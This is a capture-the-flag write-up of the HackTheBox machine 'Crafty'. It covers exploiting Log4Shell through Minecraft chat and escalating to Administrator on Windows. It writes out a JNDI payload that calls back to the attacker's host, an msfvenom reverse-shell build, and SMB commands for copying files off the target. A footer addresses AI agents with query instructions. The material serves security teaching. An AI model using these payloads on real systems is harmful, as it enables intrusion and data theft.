# Crafty

{% embed url="<https://app.hackthebox.com/machines/Crafty>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Summary

We discovered two open ports: 80 and, 25565. Port 80 is running a Microsoft IIS web server hosting a static site called Crafty, while port 25565 is a Minecraft server on version 1.16, which is vulnerable to the Log4Shell RCE vulnerability (CVE-2021-44228). We set up the Log4j-shell-poc exploit from GitHub, downloaded JDK 1.8.0\_20 to run the exploit, and used TLauncher to run Minecraft version 1.16.5 and connect to play.crafty.htb. By sending a crafted payload via the Minecraft chat, we gained a reverse shell as the user `svc_minecraft`. On the desktop of this user, we found the first flag and, upon further enumeration, discovered a plugin containing a cryptic string that turned out to be the `Administrator` password. Using this password, we executed a reverse shell as `Administrator`, retrieved the root flag, and achieved full system control.

## Recon

We start with a Nmap scan and discover two open ports, 80 and 25565. With a subsequent service and default script scan, we see that port 80 is running a Microsoft IIS hosting a website called Crafty. We are dealing with a Windows machine. On 25565, we are dealing with a Minecraft server in version 1.16. This is a very old version; this may be one affected by the RCE vulnerability through Log4J.

<figure><img src="/files/MUcCBFfWm9EPS4QA401t" alt=""><figcaption></figcaption></figure>

The following Gobuster scan of the web server does not reveal any interesting directories.

<figure><img src="/files/xqJFIEBzAJhaZKK321G9" alt=""><figcaption></figcaption></figure>

The site is just static, but might reveal another vhost: play.crafty.htb. Through this, we might be able to connect to the Minecraft server.

<figure><img src="/files/BRNpugPYSIdUioY1CRYF" alt=""><figcaption></figcaption></figure>

We make use of the mcli tool. The mcli is a command-line application that provides a front end for the mctools library. mcli supports all operations offered by mctools in a simple, robust manner. With that, we check on the connection of the Minecraft server. Both vhost seem valid.

{% embed url="<https://mctools.readthedocs.io/en/master/mcli.html>" %}

<figure><img src="/files/qZLbkPYa029mjxmL7hzp" alt=""><figcaption></figcaption></figure>

After a short search for the version of 1.16.5, we are confronted with several POCs for RCE via Log4J on GitHub - `CVE-2021-44228`

The Log4j RCE vulnerability, known as Log4Shell, allows attackers to execute arbitrary code on a server by exploiting a flaw in the Log4j library's logging mechanism, where specially crafted log messages can trigger malicious JNDI lookups. This severe flaw impacts many applications and services that use Log4j for logging, posing significant security risks.

This is one of the many. So we might get a foothold with this.

{% embed url="<https://github.com/Justin-Garey/Minecraft-Log4j-Exploit>" %}

## Foothold

We make use of the following exploit:

{% embed url="<https://github.com/kozmer/log4j-shell-poc>" %}

### Exploit Setup

We test it first. We also need an executable Minecraft client, but we'll take care of that after we get the exploit running. Furthermore, we see that JDK 1.8.0\_20 is missing. This is required by the exploit and must be downloaded separately.

<figure><img src="/files/vx8DqSUNeu1P7uIbGA4y" alt=""><figcaption></figcaption></figure>

There are many ways to do this; under the following link, there are possibilities to download them without Oracle access.

{% embed url="<https://gist.github.com/wavezhang/ba8425f24a968ec9b2a8619d7c2d86a6?permalink_comment_id=3984992>" %}

At the time of the release of the machine, the following path still worked, but unfortunately no longer at the time of the writeup.

```
wget -c --no-cookies --no-check-certificate --header "Cookie: oraclelicense=accept-securebackup-cookie"  https://download.oracle.com/otn/java/jdk/8u20-b26/jdk-8u20-linux-x64.tar.gz
```

We can either create an account with oracle - a ten-minute mail will suffice - and download the `jdk-8u20` on the official site...

{% embed url="<https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html>" %}

... or we use the following portal, introduced recently:

{% embed url="<https://java-downloader.nadwey.pl/>" %}

After placing the contents of the download JDK into `jdk1.8.0_20`...

<figure><img src="/files/JQWo1N7tBdFieHVMC3iz" alt=""><figcaption></figcaption></figure>

... we are able to successfully launch the POC. &#x20;

`--lport` in this case, is the port we expect our connection from our reverse shell.

<figure><img src="/files/ygpdLUYCZh7Z2qtwmflY" alt=""><figcaption></figcaption></figure>

### Minecraft Setup

Since we are dealing with a very old version and we do not have an official Minecraft account, let's make use of TLauncher. Using this Java launcher, we can download the version we need and run it locally without having an account. The versions might differ now. You might also need to start the launcher again after an update.

<figure><img src="/files/3DEe2nvH5qRnTRQRRkm6" alt=""><figcaption></figcaption></figure>

Select `1.16.5`, install the game, and then launch it.

<figure><img src="/files/Lzfi3E1ItamLVIWBhEd2" alt=""><figcaption></figcaption></figure>

Make a direct connection to `play.crafty.htb`. Don't forget to update your `/etc/hosts` file.

<figure><img src="/files/Ph7MJ8AA5WS5qnjZlw1m" alt=""><figcaption></figcaption></figure>

### Exploit

Now you need to update the POC first. Since we are dealing with a Windows machine and not a Linux one, replace the content of the variable `cmd` `/bin/sh` with `cmd.exe`.

<figure><img src="/files/jsRz4ZDi5EH7b48MM018" alt=""><figcaption></figcaption></figure>

Now run the exploit again.

```
python poc.py --userip 10.10.14.67 --webport 8000 --lport 9001
```

```
--userip 10.10.14.67 #our machine ip
```

```
--lport 9001 #our listining port
```

```
--webport 8000 #web server 
```

The exploit is asking us to send the following payload to trigger the exploit. To do so, we use the chat while in game.

```
${jndi:ldap://10.10.14.67:1389/a}
```

<figure><img src="/files/Ecs3LaFAbNYRMluSElI5" alt=""><figcaption></figcaption></figure>

But first, we run a listener on port 9001.

Next, be in the game and press `t` to open chat. Then paste `${jndi:ldap://<YOUR IP>:1389/a}` and send the payload in the chat.

<figure><img src="/files/jkXvTx8uCp2LWtTAN832" alt=""><figcaption></figcaption></figure>

We receive a connection back as `svc_minecraft`. (The connection to the game time-outs)

<figure><img src="/files/2u986XOzmTDz4uE7tLHX" alt=""><figcaption></figcaption></figure>

On the desktop of the user, we find the first flag.

<figure><img src="/files/kD9I5XRrCjho1Iv7dtSo" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

We check the AV /  Defender Protection. Everything is turned off.&#x20;

```
c:\Users\svc_minecraft\Desktop>powershell
powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\svc_minecraft\Desktop> Get-MpComputerStatus
Get-MpComputerStatus


AMEngineVersion                  : 0.0.0.0
AMProductVersion                 : 4.18.23100.2009
AMRunningMode                    : Not running
AMServiceEnabled                 : False
AMServiceVersion                 : 0.0.0.0
AntispywareEnabled               : False
AntispywareSignatureAge          : 4294967295
AntispywareSignatureLastUpdated  : 
AntispywareSignatureVersion      : 0.0.0.0
AntivirusEnabled                 : False
AntivirusSignatureAge            : 4294967295
AntivirusSignatureLastUpdated    : 
AntivirusSignatureVersion        : 0.0.0.0
BehaviorMonitorEnabled           : False
ComputerID                       : CE4D07DA-73C9-9868-C9F9-28FB4997F62F
ComputerState                    : 0
DefenderSignaturesOutOfDate      : False
DeviceControlDefaultEnforcement  : N/A
DeviceControlPoliciesLastUpdated : 12/31/1600 4:00:00 PM
DeviceControlState               : N/A
FullScanAge                      : 4294967295
FullScanEndTime                  : 
FullScanOverdue                  : False
FullScanRequired                 : False
FullScanSignatureVersion         : 
FullScanStartTime                : 
IoavProtectionEnabled            : False
IsTamperProtected                : False
IsVirtualMachine                 : True
LastFullScanSource               : 0
LastQuickScanSource              : 0
NISEnabled                       : False
NISEngineVersion                 : 0.0.0.0
NISSignatureAge                  : 4294967295
NISSignatureLastUpdated          : 
NISSignatureVersion              : 0.0.0.0
OnAccessProtectionEnabled        : False
ProductStatus                    : 1
QuickScanAge                     : 4294967295
QuickScanEndTime                 : 
QuickScanOverdue                 : False
QuickScanSignatureVersion        : 
QuickScanStartTime               : 
RealTimeProtectionEnabled        : False
RealTimeScanDirection            : 0
RebootRequired                   : False
SmartAppControlExpiration        : 
SmartAppControlState             : 
TamperProtectionSource           : N/A
TDTMode                          : N/A
TDTSiloType                      : N/A
TDTStatus                        : N/A
TDTTelemetry                     : N/A
TroubleShootingDailyMaxQuota     : 
TroubleShootingDailyQuotaLeft    : 
TroubleShootingEndTime           : 
TroubleShootingExpirationLeft    : 
TroubleShootingMode              : 
TroubleShootingModeSource        : 
TroubleShootingQuotaResetTime    : 
TroubleShootingStartTime         : 
PSComputerName                   : 
```

While enumerating, we found a plugin.

<figure><img src="/files/V70xWvnCasr6peY0n6wK" alt=""><figcaption></figcaption></figure>

To find out more, we need to bring this to our machine. Here we had the possibility to use powercat as shown in the following source, which is really interesting:

{% embed url="<https://ironhackers.es/en/cheatsheet/transferir-archivos-post-explotacion-cheatsheet>" %}

But this is no longer possible. Another way is to use an SMB server we can set up with impacket. Since the server does not trust SMB without a user and password, we simply set one.

```
impacket-smbserver smbFolder $(pwd) -smb2support -username test -password test123
```

<figure><img src="/files/88mPvnEbDEAFQwfBS7ng" alt=""><figcaption></figcaption></figure>

Next, we include the share and copy the plugin to it.

```
net use x: \\10.10.14.67\smbFolder /user:test test123
cp playercounter-1.0-SNAPSHOT.jar x:\
```

<figure><img src="/files/oo58TAa64aRsR7Sj6ru0" alt=""><figcaption></figcaption></figure>

To analyze the Jar, we use the Java Decompiler.

{% embed url="<https://java-decompiler.github.io/>" %}

<figure><img src="/files/wRzU4Y0s2Gfc4iyaGDiz" alt=""><figcaption></figcaption></figure>

Here we find a rather cryptic string, possibly a password. After we have tried the password for the user Administrator using runascs.exe to execute something on the system, we realize that this is his password.

<figure><img src="/files/Ll6ewQKHdTZF9X57TdTw" alt=""><figcaption></figcaption></figure>

We prepare a reverse shell exe using msfvenom (defender and co are deactivated).

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.67 LPORT=4445 -f exe > rev.exe
```

<figure><img src="/files/8wbyLuE0CSDvaRWWlRXt" alt=""><figcaption></figcaption></figure>

Next, we get the msfvenom reverse shell exe from our share, set up a listener on our desired port, and use `RunasCs.exe` to execute it as an administrator.

<figure><img src="/files/3TDWzzU9HfFgPPiOFpLi" alt=""><figcaption></figcaption></figure>

We get a connection as an administrator and find the root flag on his desktop.

<figure><img src="/files/E7kFh7OElsbcGbDPlZpr" alt=""><figcaption></figcaption></figure>

A more boring way would have been to read the flag directly.

```
.\RunasCs.exe Administrator REDACTED "cmd /c dir C:\Users\Administrator\Desktop"
.\RunasCs.exe Administrator REDACTED "cmd /c type C:\Users\Administrator\Desktop\root.txt"
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/hackthebox/2024/crafty.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
